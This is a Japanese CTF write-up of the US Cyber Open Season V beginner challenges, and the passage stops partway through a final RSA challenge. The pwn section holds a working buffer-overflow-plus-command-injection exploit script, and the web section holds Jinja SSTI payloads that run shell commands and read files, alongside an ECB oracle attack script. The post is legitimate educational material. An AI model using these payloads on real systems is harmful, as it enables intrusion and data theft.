以下の内容はhttps://yocchin.hatenablog.com/entry/2025/06/20/162103より取得しました。


Season V, US Cyber Open Competitive CTF Writeup

この大会は2025/6/7 6:30(JST)~2025/6/20 9:00(JST)に開催されました。
この大会は個人戦。結果は2428点で982人中47位でした。
自分で解けた問題をWriteupとして書いておきます。

Read The Rules (Warmup)

ルールのページのフラグのパターンの説明に以下のように書いてあった。

Warmup Challenge: SVUSCG{Y0u_r34d_th3_ru135}
SVUSCG{Y0u_r34d_th3_ru135}

Discord (Warmup)

Discordに入り、#open-generalチャネルのトピックを見ると、以下のように書いてあり、フラグが含まれていた。

This is the general hangout space!           ----------------------------------------------------------------------------------         

I lead the hunt, but don’t play games,
Tsuto’s the handle, but 'Coach' is the name.
A flag is earned when minds agree—
We're here for the love of cybersecurity!
SVUSCG{c0mmun1c4t1on_1s_th3_k3y}.
SVUSCG{c0mmun1c4t1on_1s_th3_k3y}

Drive Discovery (Forensics) (Beginner's Game Room)

FTK Imagerで開き、[root]-[Secrets]を見ると、flag.txtがあり、以下のように書いてあった。

U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0=

base64デコードする。

$ echo U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0= | base64 -d         
SVBRG{d3l373d_n07_f0r60773n_283029382}
SVBRG{d3l373d_n07_f0r60773n_283029382}

Charlie (Forensics) (Beginner's Game Room)

$ binwalk charlie.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
4477372       0x4451BC        Zip archive data, at least v2.0 to extract, compressed size: 16938, uncompressed size: 70636, name: flag.txt
4494454       0x449476        End of Zip archive, footer length: 22

後ろにzipらしきものがあるので、切り出す。

$ dd bs=1 skip=4477372 if=charlie.jpg of=flag.zip
17104+0 records in
17104+0 records out
17104 bytes (17 kB, 17 KiB) copied, 1.80563 s, 9.5 kB/s

zipファイルを解凍し、内容を確認する。

$ unzip flag.zip 
Archive:  flag.zip
  inflating: flag.txt
$ cut -c 1-20 flag.txt
/9j/4AAQSkZJRgABAQAA

jpgのbase64データが入っているようなので、デコードして保存する。

$ cat flag.txt | base64 -d > flag.jpg

jpg画像にフラグが書いてあった。

SVBGR{B1NW4LK_F7N}

Silent Signal (Forensics) (Beginner's Game Room)

ICMPの通信のみがあるが、すべて同じ通信になっている。異なるのはTimeのみで、整数値になっている。
パケット送信の時間間隔をASCIIコードとしてデコードする。

>>> s = [83 - 0, 169 - 83, 235 - 169, 317 - 235, 388 - 317, 511 - 388, 627 - 511, 732 - 627, 841 - 732, 892 - 841, 987 - 892, 1103 - 987, 1217 - 1103, 1269 - 1217, 1387 - 1269, 1438 - 1387, 1546 - 1438, 1641 - 1546, 1759 - 1641, 1808 - 1759, 1905 - 1808, 2000 - 1905, 2112 - 2000, 2161 - 2112, 2271 - 2161, 2374 - 2271, 2499 - 2374]
>>> ''.join([chr(c) for c in s])
'SVBRG{tim3_tr4v3l_v1a_p1ng}'
SVBRG{tim3_tr4v3l_v1a_p1ng}

End of The Line (Forensics) (Beginner's Game Room)

Audacityで開くと、モールス信号のようになっている。

... -.- .-.- --- .-. --.- - .. .-.- -. ..- -.. -. .-- .-. ...- -... ...

https://morsecode.world/international/translator.htmlでデコードしてみる。

SKÆORQTIÆNUDNWRVBS

ASCII文字でデコードできなかった。モールス信号を前後逆転してみる。

... ...- -... .-. --. .- ..- -.. .- -.-. .. - -.-- .-. --- -.-. -.- ...

今度はこのモールス信号をhttps://morsecode.world/international/translator.htmlでデコードしてみる。

SVBRGAUDACITYROCKS
SVBRG{AUDACITYROCKS}

Echo (Forensics) (Beginner's Game Room)

$ strings Echo.jpg | grep SVBRG                     
SVBRG{HEXEDITING}
SVBRG{HEXEDITING}

FinalCorruptZip (Forensics) (Beginner's Game Room)

zipの先頭1バイトが壊れているので、修復する。

41 -> 50

修復したzipを解凍すると、CorruptPNG.pngが展開された。
pngの先頭2バイト目から4バイト目が壊れているので、修復する。

4c 4f 4c -> 50 4e 47

修復したpng画像にフラグが書いてあった。

SVBGR{m4g1C_B1t3s_yUmmmmm}

Donut (Pwn) (Beginner's Game Room)

Ghidraでデコンパイルする。

int main(void)

{
  long in_FS_OFFSET;
  int choice;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  donuts = 0;
  puts("Welcome to the donut shop!");
  puts("Please enter your timezone so that we can tailor your experience for today:");
  printf("> ");
  gets(timezone);
  printf("Timezone set to %s!\n",timezone);
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          menu();
          printf("> ");
          __isoc99_scanf(&DAT_0010204a,&choice);
          if (choice != 1) break;
          buy();
        }
        if (choice != 2) break;
        earn();
      }
      if (choice != 3) break;
      maintenance();
    }
    if (choice == 4) break;
    puts("Unknown choice!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void buy(void)

{
  long in_FS_OFFSET;
  int order;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("You have %d dollars\n",(ulong)(uint)money);
  puts("How many donuts would you like to buy?");
  printf("> ");
  __isoc99_scanf(&DAT_0010204a,&order);
  if (order < 1) {
    puts("Invalid amount of donuts!");
  }
  else if (money + order * -0x32 < 0) {
    puts("Not enough money!");
  }
  else {
    donuts = order + donuts;
    money = money + order * -0x32;
    printf("Bought %d donuts. Your balance is now %d.\n",(ulong)(uint)donuts,(ulong)(uint)money);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void earn(void)

{
  long in_FS_OFFSET;
  int target;
  int guess;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  getrandom(&target,4,0);
  puts("What is your guess?");
  printf("> ");
  __isoc99_scanf(&DAT_0010204a,&guess);
  if (guess == target) {
    puts("Correct! You get $50");
    money = money + 0x32;
  }
  else {
    puts("Oops, you lost half of your money!");
    money = money / 2;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void maintenance(void)

{
  long lVar1;
  long in_FS_OFFSET;
  char cmd [100];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (donuts == -0x35014542) {
    puts("Welcome to the admin panel!");
    puts("Date:");
    snprintf(cmd,100,"date --date=\'TZ=\"%s\"\'",timezone);
    system(cmd);
    puts("What would you like to set your balance to?");
    printf("> ");
    __isoc99_scanf(&DAT_0010204a,&money);
    puts("Balance set!");
  }
  else {
    puts("You aren\'t authorized to access this!");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

                             timezone                                        XREF[7]:     Entry Point(*), 
                                                                                          maintenance:00101488(*), 
                                                                                          maintenance:0010148f(*), 
                                                                                          main:001015f1(*), 
                                                                                          main:001015f8(*), 
                                                                                          main:00101605(*), 
                                                                                          main:0010160c(*)  
        00104020 41 6d 65        char[32]   "America/Los_Angeles"
                 72 69 63 
                 61 2f 4c 
           00104020 [0]            'A', 'm', 'e', 'r',
           00104024 [4]            'i', 'c', 'a', '/',
           00104028 [8]            'L', 'o', 's', '_',
           0010402c [12]           'A', 'n', 'g', 'e',
           00104030 [16]           'l', 'e', 's', 00h,
           00104034 [20]           00h, 00h, 00h, 00h,
           00104038 [24]           00h, 00h, 00h, 00h,
           0010403c [28]           00h, 00h, 00h, 00h
                             money                                           XREF[12]:    Entry Point(*), buy:00101264(R), 
                                                                                          buy:001012dc(R), buy:00101310(R), 
                                                                                          buy:00101318(W), buy:0010131e(R), 
                                                                                          earn:001013de(R), 
                                                                                          earn:001013e7(W), 
                                                                                          earn:001013fe(R), 
                                                                                          earn:0010140d(W), 
                                                                                          maintenance:001014da(*), 
                                                                                          maintenance:001014e1(*)  
        00104040 32 05 00 00     int        532h                                             donut.c:5
                             donuts                                          XREF[6]:     Entry Point(*), buy:001012f9(R), 
                                                                                          buy:00101304(W), buy:00101324(R), 
                                                                                          maintenance:00101445(R), 
                                                                                          main:001015b5(W)  
        00104044 01 00 00 00     int        1h                                               donut.c:7
 

timezoneで入力したものがmaintenance関数でコマンドに結合して実行されるので、コマンドインジェクションが可能。そのためにdonutsの値を-0x35014542(=0xcafebabe(=3405691582))にする必要がある。
timezoneでの入力はBOF脆弱性があり、moneyやdonutsを上書き可能で、donutsの値を0xcafebabeにすればよい。
コマンドは色々変えていく。

・"ls"の場合
run

・"pwd"の場合
/app

・"ls -l ../"の場合
total 60
drwxr-xr-x   1 nobody nogroup 4096 Jun  6 22:24 app
lrwxrwxrwx   1 nobody nogroup    7 May 30 19:42 bin -> usr/bin
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 boot
drwxrwxrwt   2 nobody nogroup  100 Jun  6 22:36 dev
drwxr-xr-x  32 nobody nogroup 4096 May 30 19:49 etc
-rw-r--r--   1 nobody nogroup   42 Jun  6 22:17 flag.txt
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 home
lrwxrwxrwx   1 nobody nogroup    7 May 30 19:42 lib -> usr/lib
lrwxrwxrwx   1 nobody nogroup    9 May 30 19:42 lib32 -> usr/lib32
lrwxrwxrwx   1 nobody nogroup    9 May 30 19:42 lib64 -> usr/lib64
lrwxrwxrwx   1 nobody nogroup   10 May 30 19:42 libx32 -> usr/libx32
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 media
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 mnt
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 opt
dr-xr-xr-x 253 nobody nogroup    0 Jun  9 00:11 proc
drwx------   2 nobody nogroup 4096 May 30 19:49 root
drwxr-xr-x   5 nobody nogroup 4096 May 30 19:49 run
lrwxrwxrwx   1 nobody nogroup    8 May 30 19:42 sbin -> usr/sbin
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 srv
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 sys
drwxrwxrwt   2 nobody nogroup 4096 May 30 19:49 tmp
drwxr-xr-x  14 nobody nogroup 4096 May 30 19:42 usr
drwxr-xr-x  11 nobody nogroup 4096 May 30 19:49 var

これでflag.txtの場所がわかったので、コマンドを"cat ../flag.txt"にして実行する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn.ctf.uscybergames.com', 5000)
else:
    p = process('./donut')

payload = b'N"\'; cat ../flag.txt; \'"'
payload += b'\x00' * (32 - len(payload))
payload += b'A' * 4
payload += p32(0xcafebabe)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

data = p.recvuntil(b'> ').decode()
print(data + '3')
p.sendline(b'3')
for _ in range(3):
    data = p.recvline().decode().rstrip()
    print(data)
data = p.recvrepeat(1).decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to pwn.ctf.uscybergames.com on port 5000: Done
Welcome to the donut shop!
Please enter your timezone so that we can tailor your experience for today:
> b'N"\'; cat ../flag.txt; \'"\x00\x00\x00\x00\x00\x00\x00\x00AAAA\xbe\xba\xfe\xca'
Timezone set to N"'; cat ../flag.txt; '"!
Options:
1. Buy a donut
2. Earn money to use in the shop
3. Maintenance
4. Exit
> 3
Welcome to the admin panel!
Date:
Mon Jun  9 00:00:00 UTC 2025
SVBGR{my_fav0rIte_fl4vor_1s_Or3o_54ac91c0}sh: 1: "": not found
What would you like to set your balance to?
>
[*] Closed connection to pwn.ctf.uscybergames.com port 5000
SVBGR{my_fav0rIte_fl4vor_1s_Or3o_54ac91c0}

アクセスすると、クッキーのcookieに以下が設定されている。

QWZ0ZXIgaW5zcGVjdGluZyB0aGUgY29udGVudHMsIGhlJ2xsIGhvcCBvbiB0aGUgUk9CT1QgdmFjY3V1bSBwaWNraW5nIHVwIHRoZSBjcnVtYnMgaGUgbWFkZS4KQ3J1bWIgMTogZFY5Q1FHc3paRjloVA==

base64デコードする。

$ echo QWZ0ZXIgaW5zcGVjdGluZyB0aGUgY29udGVudHMsIGhlJ2xsIGhvcCBvbiB0aGUgUk9CT1QgdmFjY3V1bSBwaWNraW5nIHVwIHRoZSBjcnVtYnMgaGUgbWFkZS4KQ3J1bWIgMTogZFY5Q1FHc3paRjloVA== | base64 -d
After inspecting the contents, he'll hop on the ROBOT vaccuum picking up the crumbs he made.
Crumb 1: dV9CQGszZF9hT

https://myksfwlv.web.ctf.uscybergames.com/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /admin

# The robot vaccuum arrives at a locked door, which naturally he'll want to get inside
# Crumb 2: jB0SDNSX2MwMG

https://myksfwlv.web.ctf.uscybergames.com/adminにアクセスすると、ログイン画面になった。
HTMLソースを見ると、以下のように書いてある。

    <script>
        const ADMIN_USER = 'admin';
        const CRUMB_3 = 'sxM19mT3JfZEF';
        function login() {
            const user = document.getElementById('username').value;
            const pass = document.getElementById('password').value;
            if (user === ADMIN_USER && pass === CRUMB_3) {
                window.location.href = '/kitchen';
            } else {
                document.getElementById('error').style.display = 'block';
            }
        }
    </script>

admin / sxM19mT3JfZEFでログインすると、/kitchen/のindex表示がされているので、各パスを見ていく。
https://myksfwlv.web.ctf.uscybergames.com/kitchen/floor/aNoteFallenFromTheFridge.txtを見ると、以下のように書いてある。

Steps to making my Fully Layered And Golden (FLAG) Cookie Recipe:

Ingredients:
- 4 Crumbs 
- Butter
- Flour
- Sugar

Tools:
- Cookie Editor
- Large Mixing Bowl
- Sheet Pan
- Oven

Instructions:
1) Preheat oven to 320 degrees.
2) Assemble all 4 crumbs in order from 1 to 4. 
3) Place assembled crumbs into the oven for 20 minutes to bake into a cookie.
4) Decode the assembled cookie using Base64 until nice and golden.
4) Use Cookie Editor to edit the original cookie with our new assembled cookie.
5) Refresh the home page.
6) Enjoy your FLAG cookie~!

どうやら4つのCrumbが必要なので、あと1つあるはず。

https://myksfwlv.web.ctf.uscybergames.com/kitchen/refrigerator/Milk.jsを見ると、以下のように書いてある。

// If he asks for a glass of milk, he's going to want a cookie to go with it.

function pourMilk() {
    console.log("Pouring a fresh glass of milk... 🥛");
}

//TODO: Follow cookie instructions written on NOTE in /kitchen
function bakeCookie() {
    var crumb4 = "fTW9VNWUhISE=";

    return false;
}

pourMilk();

Crumb 4まで見つかったので、結合してbase64デコードする。

$ echo dV9CQGszZF9hTjB0SDNSX2MwMGsxM19mT3JfZEFfTW9VNWUhISE= | base64 -d
u_B@k3d_aN0tH3R_c00k13_fOr_dA_MoU5e!!!

これをクッキーのcookie設定し、ホームのページをリロードすると、フラグが表示された。

SVBRG{he_w1ll_g!v3_y0u_A_fL@g_a5_tH4nk5!}

LEET (Crypto) (Beginner's Game Room)

同じ鍵で2つの平文がXORされている。https://github.com/SpiderLabs/cribdragのツール(Python2)を使って、推測しながら復号する。

$ python2 xorstrings.py 5c623c61545f63270c4047724e114d52794e16485f7b4e034433652b1744527b2b0520 40612c0653687b270649477e20065e4667311549566823044f4c7e201e435f762d0a7c
1c031067073718000a09000c6e1713141e7f030109136d070b7f1b0b09070d0d060f5c
$ python2 cribdrag.py 1c031067073718000a09000c6e1713141e7f030109136d070b7f1b0b09070d0d060f5c
Your message is currently:
0       ___________________________________
Your key is currently:
0       ___________________________________
Please enter your crib: OUR 
*** 0: "SVB"
*** 1: "LE5"
2: "_2U"
3: "(Re"
*** 4: "HbJ"
*** 5: "xMR"
*** 6: "WUX"
7: "O_["
8: "E\R"
9: "FU^"
10: "OY<"
*** 11: "C;E"
*** 12: "!BA"
*** 13: "XFF"
14: "\AL"
15: "[K-"
16: "Q*Q"
*** 17: "0VS"
18: "LT["
19: "N\A"
*** 20: "FF?"
21: "\8U"
*** 22: ""RY"
23: "H^-"
24: "D*I"
*** 25: "0NY"
26: "T^["
27: "D\U"
28: "FR_"
29: "HX_"
*** 30: "BXT"
31: "BS]"
32: "IZ"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       OUR________________________________
Your key is currently:
0       SVB________________________________
        :
        :
Your message is currently:
0       OUR ULTIMATE PLAN WILL BE ________!
Your key is currently:
0       SVBGR{LIGHTING_UP_THE_MEN_________}

ここまで来たがわからない。
keyを見てみてみる。どちらの暗号がどちらのものかわからないので、両方見てみる。

>>> s1 = bytes.fromhex('5c623c61545f63270c4047724e114d52794e16485f7b4e034433652b1744527b2b0520')
>>> s2 = bytes.fromhex('40612c0653687b270649477e20065e4667311549566823044f4c7e201e435f762d0a7c')
>>> pt1 = b'SVBGR{LIGHTING_UP_THE_MEN_'
>>> strxor(pt1, s1[:len(pt1)])
b'\x0f4~&\x06$/nK\x08\x13;\x00V\x12\x07)\x11B\x00\x1a$\x03F\nl'
>>> strxor(pt1, s2[:len(pt1)])
b'\x137nA\x01\x137nA\x01\x137nA\x01\x137nA\x01\x137nA\x01\x13'

SVBGR{LIGHTING_UP_THE_MEN_________}の方の暗号はs2の方の暗号であるとすると暗号鍵"\x137nA\x01"の繰り返しになっている。
これを元に復号する。

>>> ''.join([chr(s2[i] ^ key[i % len(key)]) for i in range(len(s2))])
'SVBGR{LIGHTING_UP_THE_MEN_IN_BLACK}'
SVBGR{LIGHTING_UP_THE_MEN_IN_BLACK}

Block Blast (Crypto) (Beginner's Game Room)

サーバの処理概要は以下の通り。

・BLOCK_SIZE = 16
・FLAG_PATH = "./flag.txt"
・FLAG: FLAG_PATHの内容
・KEY: ランダム16バイト文字列
・以下繰り返し
 ・data: 入力
 ・line = data.strip()
 ・lineが空や"exit"の場合、繰り返し終了
 ・user_bytes: lineをhexデコード
 ・ct = encrypt_oracle(user_bytes)
  ・plaintext = user_bytes + FLAG
  ・padded: plaintextの長さが16バイトの倍数になるようパディング
  ・paddedをKEYを使ってAES ECBモード暗号化したものを返却
 ・ctを16進数文字列表記で表示
$ nc crypto.ctf.uscybergames.com 5001
=== AES-ECB Byte-at-a-Time Oracle ===
Send hex-encoded bytes. Empty line or 'exit' quits.
> 11
5bb0430d82f067a9f0094fc60a67c40c3674f42783f4e2ce0435290e42cc35e6
> 1111
8629ae843206bafbf4ad1755c7f9fd277dcbad37cede3209f7c8d73f1185ec3d
> 111111
bf39b26ff6b5192911b11723e7efa21a4090a5349332d6f25e34dce6725c683c
> 11111111
3ad9a0bcdd6afb3c472a22f06be9c4c0fe1058ae62fa13af38afb7123a242963
> 1111111111
7f357086544a56c604138fff01cdc39200a696bdc67a05e59dc94fa399b6b644
> 111111111111
84c72b8cc844a2888b6a4b107faa49fc9bbe26cd530a1b2b2797fe701e5e9652
> 11111111111111
d867457bbf72855d32862770daba9cf193fafe367c112417f419366b89c270a2e5e8aaba37db1a1ce59163e7974f671e

この結果から、Xを入力文字、Fをフラグ、Pをパディング文字としたとき、平文のブロック構成のイメージは以下のようになる。

0123456789abcdef
XXXXXXXFFFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

1文字ずつはみ出させながら、同じ暗号ブロックになるものを探していく。最初の1文字については、以下のようなイメージになる。

0123456789abcdef
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXX?
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXF
FFFFFFFFFFFFFFFF
FFFFFFFFFPPPPPPP
#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.uscybergames.com', 5001))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

flag = ''
for i in range(25):
    for code in range(33, 127):
        msg = 'X' * (31 - i) + flag + chr(code) + 'X' * (31 - i)
        print('[+] Try message:', msg)
        msg = msg.encode().hex()
        data = recvuntil(s, b'> ')
        print(data + msg)
        s.sendall(msg.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if data[32*1:32*2] == data[32*3:32*4]:
            flag += chr(code)
            break

print('[+] flag:', flag)

実行結果は以下の通り。

=== AES-ECB Byte-at-a-Time Oracle ===
Send hex-encoded bytes. Empty line or 'exit' quits.
        :
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0zXXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307a58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b1663c3bcb986b12aa5ca134cf9870db8af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0{XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307b58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b4374b96062780e9f8d5ee9a6887555c7af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0|XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307c58585858585858
af2ab0c25d0cd4149c2e98a870a49f6ba65ec5d28f45ff6bdb567be94098b0a5af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0}XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307d58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94aaf2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] flag: SVBGR{M3G4_P0W3RUP_C0MB0}
SVBGR{M3G4_P0W3RUP_C0MB0}

CTF Cafe (RE) (Beginner's Game Room)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  int local_10;
  uint local_c;
  
LAB_004004ae:
  while( true ) {
    puts(&DAT_00401300);
    puts("1. View Menu");
    puts("2. Place Order");
    puts("3. View Total");
    puts("0. Exit");
    printf("Enter your choice: ");
    iVar1 = __isoc23_scanf(&DAT_00401371,&local_10);
    if (iVar1 == 1) break;
    clear_input();
    puts("Invalid input. Please enter a number.");
  }
  if (local_10 == 9) {
    puts("Oh, so you want the secret sauce recipe? Only if you have our proprietary key!");
    printf("Enter 8-byte hex key (e.g., 0x0123456789ABCDEF): ");
    iVar1 = __isoc23_scanf(&DAT_00401442,&key);
    if (iVar1 != 1) {
      puts("Invalid input.");
      return 1;
    }
    if (key == -0x642d38a5b63b1015) {
      puts("Congratulations! You have unlocked the secret sauce recipe!");
      printf("Secret Sauce: ");
      for (local_c = 0; local_c < 0x21; local_c = local_c + 1) {
        putchar((int)(char)(*(byte *)((long)&size + (long)((int)local_c % 8)) ^
                           secret_sauce[(int)local_c]));
      }
      putchar(10);
    }
    else {
      puts("Incorrect key! You can\'t have the secret sauce recipe.");
    }
  }
  else {
    if (9 < local_10) goto LAB_0040065f;
    if (local_10 == 3) {
      view_total();
      goto LAB_004004ae;
    }
    if (local_10 < 4) {
      if (local_10 == 2) {
        place_order();
        goto LAB_004004ae;
      }
      if (2 < local_10) goto LAB_0040065f;
      if (local_10 == 0) {
        puts("Thank you for dining with us!");
        return 0;
      }
      if (local_10 == 1) {
        print_menu();
        goto LAB_004004ae;
      }
    }
  }
LAB_0040065f:
  puts("Invalid choice. Try again.");
  goto LAB_004004ae;
}

メニューにない9を入力し、keyに-0x642d38a5b63b1015を入力すればフラグが表示される。

$ ./ctf_cafe

===== 🍔 Welcome to the CTF Cafe! =====
1. View Menu
2. Place Order
3. View Total
0. Exit
Enter your choice: 9
Oh, so you want the secret sauce recipe? Only if you have our proprietary key!
Enter 8-byte hex key (e.g., 0x0123456789ABCDEF): -0x642d38a5b63b1015
Congratulations! You have unlocked the secret sauce recipe!
Secret Sauce: SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}
Invalid choice. Try again.
SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}

Ninja Note (Web) (Beginner's Game Room)

User-Agentに"NinjaNote 13.37"を指定してアクセスする必要があるようだ。
Note作成と閲覧をテストしてみる。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "Success!"}'
{"note_id":"6e64bfd6-1e71-4def-8a1a-124fa30fcbb7"}

$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/6e64bfd6-1e71-4def-8a1a-124fa30fcbb7 -A 'NinjaNote 13.37'
Note ID: 6e64bfd6-1e71-4def-8a1a-124fa30fcbb7
Title: test
Note: Success!

クライアントのコードの中で以下の部分がある。

note_content = input("Note content: ").replace("{", "").replace("}", "")

サーバサイドの処理ではないので、SSTIを疑い、試してみる。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{7*7}}"}'
{"note_id":"b6fb570c-2b8d-4aba-9db6-43e7d50d912b"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/b6fb570c-2b8d-4aba-9db6-43e7d50d912b -A 'NinjaNote 13.37'
Note ID: b6fb570c-2b8d-4aba-9db6-43e7d50d912b
Title: test
Note: 49

SSTIが使える。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"ls -lah\").read()}}"}'
{"note_id":"2f4b43c6-cf86-49bf-a97d-db67344b6248"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/2f4b43c6-cf86-49bf-a97d-db67344b6248 -A 'NinjaNote 13.37'
Note ID: 2f4b43c6-cf86-49bf-a97d-db67344b6248
Title: test
Note: total 32K    
drwxr-xr-x    1 root     root        4.0K Jun  9 04:10 .
drwxr-xr-x    1 root     root        4.0K Jun  9 04:01 ..
drwxr-xr-x    2 root     root        4.0K Jun  9 04:01 __pycache__
-rw-r--r--    1 root     root        1.8K Jun  6 22:44 main.py
-rw-r--r--    1 root     root       12.0K Jun  9 04:10 notes.db

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"ls -lah ../\").read()}}"}'
{"note_id":"bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2 -A 'NinjaNote 13.37'
Note ID: bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2
Title: test
Note: total 80K    
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 .
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 ..
-rwxr-xr-x    1 root     root           0 Jun  9 04:12 .dockerenv
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 app
drwxr-xr-x    1 root     root        4.0K May 31 00:10 bin
drwxr-xr-x    5 root     root         340 Jun  9 04:12 dev
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 etc
-rw-r--r--    1 root     root          36 Jun  4 20:45 flag.txt
drwxr-xr-x    2 root     root        4.0K May 30 12:13 home
drwxr-xr-x    1 root     root        4.0K May 30 12:13 lib
drwxr-xr-x    5 root     root        4.0K May 30 12:13 media
drwxr-xr-x    2 root     root        4.0K May 30 12:13 mnt
drwxr-xr-x    2 root     root        4.0K May 30 12:13 opt
dr-xr-xr-x  354 root     root           0 Jun  9 04:12 proc
drwx------    1 root     root        4.0K May 31 12:31 root
drwxr-xr-x    3 root     root        4.0K May 30 12:13 run
drwxr-xr-x    2 root     root        4.0K May 30 12:13 sbin
drwxr-xr-x    2 root     root        4.0K May 30 12:13 srv
dr-xr-xr-x   13 root     root           0 Jun  9 04:12 sys
drwxrwxrwt    1 root     root        4.0K Jun  9 04:12 tmp
drwxr-xr-x    1 root     root        4.0K May 31 00:10 usr
drwxr-xr-x   11 root     root        4.0K May 30 12:13 var

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"cat ../flag.txt\").read()}}"}'
{"note_id":"d31d5505-75a2-4bcb-84b7-5bdaf80e49b5"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/d31d5505-75a2-4bcb-84b7-5bdaf80e49b5 -A 'NinjaNote 13.37'
Note ID: d31d5505-75a2-4bcb-84b7-5bdaf80e49b5
Title: test
Note: SVBGR{y0u_4r3_4n_API_h4ck1ng_n1nj4!}
SVBGR{y0u_4r3_4n_API_h4ck1ng_n1nj4!}

Gotta Go Low (Crypto) (Beginner's Game Room)

暗号化処理の概要は以下の通り。

・以下繰り返し
 ・p: 512ビット素数
 ・q: 512ビット素数
 ・3と(p - 1) * (q - 1)が互いに素の場合、繰り返し終了
・pubKey, privKey = genKeypair(p, q)
 ・n = p * q
 ・phi = (p - 1) * (q - 1)
 ・e = 3
 ・d = inverse(e, phi)
 ・((e, n), (d, n))を返却
・message: フラグ
・encrypted = encrypt(pubKey, message)
 ・e, n = pubKey
 ・plaintextInt: messageを数値化したもの
 ・encrypted = pow(plaintextInt, e, n)
